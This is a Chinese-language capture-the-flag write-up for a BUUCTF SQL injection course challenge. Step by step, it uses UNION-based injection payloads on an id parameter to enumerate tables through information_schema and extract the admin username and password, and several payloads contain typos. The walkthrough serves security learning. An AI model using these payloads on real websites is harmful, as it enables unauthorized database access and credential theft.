进入网站,发现是一个这样的网站,这里题目很明确提示了是SQL注入类型,于是就看它传递的参数包,如下:
点击测试新闻1会弹出后缀pip?id=1的数据包
发现在点开第一个测试新闻发现传递的1数据包都存在SQL注入,于是修改参数执行SQL注入:
1、判断注入类型:
?id=1 or 1=1或者?id=1' or '1'='1
此处我输入(输入位置就在get'请求后面,看下面的图)
?id=1 or 1=1
表示数据库回显信息了,说明可以注入!
2、判断列数:?id=1 order by 1......这个命令需要一个一个试,直到没反应为止:
?id=1 order by 1
?id=1 order by 1,2
?id=1 order by 1,2,3
?id=1 order by 1,2,3,.. . ...
这道题试到3就没反应了,说明数据库有2个列
3、判断注入信息:?id=-1 union select1........
根据上面得出的结,需要注入2个数字来标记在哪里可以注入
?id=-1 union select 1,4
此处的1和4只是两个数字,用于标记位置,并非顺序
4、查看数据库:?id=-1 union select1,database()
输入:
?id=-1 union select 1, database()
title "3"
content "news"
说明数据库名字叫news
5、查看表名:
?id=-1 union select 1,group_concat(table_name) from
information_schema.tables where table_schema=数据库名称输入
?id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema= 'news'
回显:
title "1"
content " admin,contents"
说明有两个表:admin和contents
我们需要的是admin
6、查看列名:
?id=-1 union select 1,group concat(column_name) from information_schema.columns where table_name='表名'
输入
?id=-1 uaion select 1, group_concat(column_name) from informaton_schema.columns where tab1e_name='admin'
回显
title "1"
content "id,username,password"
发现有3个列: id,username,password
我们需要username和password这两个个列
无图
7、查看字段:
模板:
?id=-1 union select 1, group_concat(列名]from表名
此处我用到的为
输入
?id=-1 union select 1,group_concat(username) from admin
回显 得到有一个用户admin
title "1"
content "admin"
输入
?id=-1 union select 1,group_concat(password) from admin
数据库中存放着一个密码:
title "1"
content "6ede396decdae7a523.c84d5f2f3.a4a1"
无图
最后一步:
登录
admin
6ede396decdae7a523.c84d5f2f3.a4a1
因为一些原因后面几步无图了
可以看一下大佬的视频
我的文字也是从中摘要
【BUUCTF BUU SQL COURSE 1 1 教程】 https://www.bilibili.com/video/BV1uN411m7HC/?share_source=copy_web&vd_source=47a2e64b7f52dd5d3d50305f94a3ba55